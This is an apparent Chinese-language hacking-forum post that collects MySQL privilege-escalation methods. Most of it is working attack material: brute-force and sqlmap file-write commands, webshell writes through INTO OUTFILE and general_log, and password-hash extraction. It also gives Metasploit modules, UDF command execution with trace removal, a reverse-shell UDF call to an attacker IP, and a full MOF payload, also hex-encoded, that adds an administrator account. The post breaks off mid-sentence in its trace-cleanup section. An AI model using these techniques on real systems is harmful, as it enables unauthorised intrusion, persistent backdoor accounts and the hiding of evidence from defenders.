標題:MySQL 提權方法整理

taibeihacker

Moderator

MySQL 提权方法整理​

1 Initial Access​

1.1 数据库权限​

拿到數據庫操作權限的方法無外乎有以下幾種:
3306 弱口令爆破
sqlmap 的–sql-shell 模式
網站的數據庫配置文件中拿到明文密碼信息
mysql 1day 漏洞獲取權限

1.2 webshell 权限​

前提
已知網站物理路徑且該路徑有寫權限
高權限數據庫用戶
secure_file_priv 無限制
1
2
3
4
5
6
mysql show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
在MySQL 5.5 之前secure_file_priv 默認是空,這個情況下可以向任意絕對路徑寫文件
在MySQL 5.5之後secure_file_priv 默認是NULL,這個情況下不可以寫文件
具體原理在「SQL 注入相關」文章中已有詳述,不在此贅述。

1.2.1 into outfile 写文件​

1
select '?php phpinfo();' into outfile '/var/www/html/info.php';
sqlmap 下可以執行如下操作:
1
sqlmap -u 'http://x.x.x.x/?id=x' --file-write='/path/to/shell.php' --file-dest='/var/www/html/test/shell.php'
一般情況下Linux 系統下面權限分配比較嚴格,MySQL 用戶一般情況下是無法直接往站點根目錄寫入文件的,這種情況下在Windows 環境下成功率會很高。

1.2.2 terminated by 写文件​

1
?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '?php phpinfo() ?';

1.2.3 general log 写文件​

MySQL 5.0 版本以上會創建日誌文件,可以通過修改日誌的全局變量來getshell
資訊
general_log 默認關閉,開啟它可以記錄用戶輸入的每條命令,會把其保存在對應的日誌文件中。
1
2
3
4
5
6
7
mysql SHOW VARIABLES LIKE 'general%';
+------------------+---------------------------------+
| Variable_name | Value |
+------------------+---------------------------------+
| general_log | OFF |
| general_log_file | /var/lib/mysql/c1595d3a029a.log |
+------------------+---------------------------------+
通過將general_log 存儲位置改為web 目錄。同時,向日誌文件裡面寫入內容的話,那麼就可以成功getshell。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 更改日誌文件位置
set global general_log='ON';
set global general_log_file='/var/www/html/info.php';
# 查看當前配置
mysql SHOW VARIABLES LIKE 'general%';
+------------------+-----------------------------+
| Variable_name | Value |
+------------------+-----------------------------+
| general_log | ON |
| general_log_file | /var/www/html/shell.php |
+------------------+-----------------------------+
# 往日誌裡面寫入payload
select '?php phpinfo();';
警告
文件雖然可以寫入,但是該文件的權限是MySQL 創建的:
1
-rw-rw---- 1 mysql mysql 293 Feb 19 10:29 shell.php
訪問這個php 文件會出現HTTP 500 的狀態碼,結論是Linux 系統這種情況基本上不會成功,只有在Windows 系統下成功率會高一些。

1.3 Hash 破解​

假設存在SQL 注入DBA 權限,如果目標3306 端口也是可以訪問通的話,可以嘗試讀取MySQL 的Hash 來解密:
1
2
3
4
5
# MySQL=5.6 版本
mysql select host, user, password from mysql.user;
# MySQL=5.7 版本
mysql select host,user,authentication_string from mysql.user;
20210119104115.png-water_print

之後可以通過在線界面網站解密。

1.4 MySQL 1Day 漏洞​

1.4.1 yaSSL 缓冲区溢出​

MSF 裡面已經集成好了對應的模塊:
1
2
msf6 use exploit/windows/mysql/mysql_yassl_hello
msf6 use exploit/linux/mysql/mysql_yassl_hello

1.4.2 CVE-2012-2122​

知道用戶名多次輸入錯誤的密碼會有機率可以直接成功登陸進數據庫,可以循環1000 次登陸數據庫:
1
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 127.0.0.1 -P3306 ; done
在MSF 中有對應的利用模塊:
1
msf6 use auxiliary/scanner/mysql/mysql_authbypass_hashdump
20210119110448.png-water_print

2 UDF 提权​

User Defined Function - 自定義函數,是數據庫功能的一種擴展。用戶通過自定義函數可以實現在MySQL 中無法方便實現的功能,其添加的新函數都可以在SQL 語句中調用,就像調用本機函數version() 等方便。

2.1 手动实现​

2.1.1 动态链接库​

如果是MySQL=5.1 的版本,必須把UDF 的動態鏈接庫文件放置於MySQL 安裝目錄下的lib\plugin 文件夾下文件夾下才能創建自定義函數。
sqlmap 中的動態鏈接文件:
/path/to/sqlmap/data/udf/mysql
sqlmap 中自帶這些動態鏈接庫為了防止被誤殺都經過編碼處理過,不能被直接使用。不過可以利用sqlmap 自帶的解碼工具cloak.py 來解碼使用,具體使用方法參考「SQL 注入相關」文章。
msf 中的動態鏈接庫文件:
/path/to/msf/embedded/framework/data/exploits/mysql
20210119111715.png-water_print

2.1.2 插件目录存放位置​

通過如下SQL 語句來實現:
1
2
3
4
5
6
mysql show variables like '%plugin%';
+---------------+------------------------------+
| Variable_name | Value |
+---------------+------------------------------+
| plugin_dir | /usr/local/mysql/lib/plugin/|
+---------------+------------------------------+
技巧
在windows 下可以利用NTFS 流來創建該文件夾:
select 233 into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin:$index_allocation';
技巧
如何找到mysql 的安裝目錄:
1
2
3
4
5
6
mysql select @@basedir;
+------------------+
| @@basedir |
+------------------+
| /usr/local/mysql |
+------------------+

2.1.3 写入动态链接库​

SQL 注入且是高權限,plugin 目錄可寫且需要secure_file_priv 無限制,MySQL 插件目錄可以被MySQL 用戶寫入,這個時候就可以直接使用sqlmap 來上傳動態鏈接庫,又因為GET 有字节长度限制,所以往往POST 注入才可以執行這種攻擊。
1
sqlmap -u 'http://localhost/' --data='id=1' --file-write='/path/to/lib_mysqludf_sys_64.so' --file-dest='/usr/lib/mysql/plugin/udf.so'
如果沒有註入的話,我們可以操作原生SQL 語句,這種情況下當secure_file_priv 無限制的時候,可以通過手工寫文件到plugin 目錄下的:
1
2
# 直接SELECT 查詢十六進制寫入
SELECT0x7f454c4602. INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
這裡的十六進制怎麼獲取呢?可以利用MySQL 自帶的hex 函數來編碼:
1
2
3
4
5
# 直接傳入路徑編碼
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));
# 也可以將路徑hex 編碼
SELECT hex(load_file(0x2f6c69625f6d7973716c7564665f7379735f36342e736f));

2.1.4 命令执行​

1
2
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
select sys_eval('whoami');

2.1.5 清理痕迹​

刪除自定義函數:
1
drop function sys_eval;

2.2 自动化实现​

msf 中的模塊:
1
msf6 set payload linux/x86/shell/bind_tcp

2.3 UDF Shell​

假設目標MySQL 在內網情況下,無法直連MySQL 或者MySQL 不允許外連,這個時候一些網頁腳本就比較方便好用了。

2.3.1 UDF.PHP​

UDF 命令執行大馬:https://github.com/echohun/tools/blob/master/大馬/udf.php

2.3.2 Navicat MySQL​

目標MySQL 不允許外連,這個時候可以使用Navicat 自帶的tunnel 隧道腳本上傳到目標網站上:
20210119113137.png-water_print

20210119113221.png-water_print

接著連接的時候設置HTTP 通道:
20210119113326.png-water_print

連接成功後就可以進行上述手工UDF 提權步驟。

2.4 反弹端口提权​

實際上這是UDF 提權的另一種用法,只是這裡的動態鏈接庫被定製過的,功能更多更實用一些:
1
2
3
4
5
6
7
8
9
10
cmdshell # 執行cmd
downloader # 下載者,到網上下載指定文件並保存到指定目錄
open3389 # 通用開3389終端服務,可指定端口(不改端口無需重啟)
backshell # 反彈Shell
ProcessView # 枚舉系統進程
KillProcess # 終止指定進程
regread # 讀註冊表
regwrite # 寫註冊表
shut # 關機,註銷,重啟
about # 說明與幫助函數
地址:https://github.com/Geekby/langouster_udf
首先在攻擊機上開啟NC 監聽,然後目標機器上導入dll 動態鏈接庫,然後創建自定義函數:
1
CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';
直接反彈shell :
1
select backshell('IP', 4444);

3 MOF 提权​

MOF 提權是一個有歷史的漏洞,基本上在Windows Server 2003 的環境下才可以成功。

3.1 原理​

提權的原理是C:/Windows/system32/wbem/mof/目錄下的mof 文件每隔一段時間(幾秒鐘左右)都會被系統執行,因為這個MOF 裡面有一部分是VBS 腳本,所以可以利用這個VBS 腳本來調用CMD 來執行系統命令,如果MySQL 有權限操作mof 目錄的話,就可以來執行任意命令了。

3.2 手动复现​

3.2.1 上传 mof 文件​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#pragma namespace('\\\\.\\root\\subscription')
instance of __EventFilter as $EventFilter
{
EventNamespace='Root\\Cimv2';
Name='filtP2';
Query='Select * From __InstanceModificationEvent '
'Where TargetInstance Isa \'Win32_LocalTime\' '
'And TargetInstance.Second=5';
QueryLanguage='WQL';
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name='consPCSV2';
ScriptingEngine='JScript';
ScriptText=
'var WSH=new ActiveXObject(\'WScript.Shell\')\nWSH.run(\'net.exe user hacker P@ssw0rd /add\')\nWSH.run(\'net.exe localgroup administrators hacker /add\')';
};
instance of __FilterToConsumerBinding
{
Consumer=$Consumer;
Filter=$EventFilter;
};
利用MySQL 寫文件的特性將這個MOF 文件導入到C:/Windows/system32/wbem/mof/目錄下,依然採用上述編碼的方式:
1
select0x23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B 200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E73 74616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020 202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F662041637469766553637269 70744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020 202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572 205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365 206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0A into dumpfile 'C:/windows/system32/wbem/mof/test.mof';

3.2.2 痕迹清理​

因為每隔幾分鐘
 
返回
上方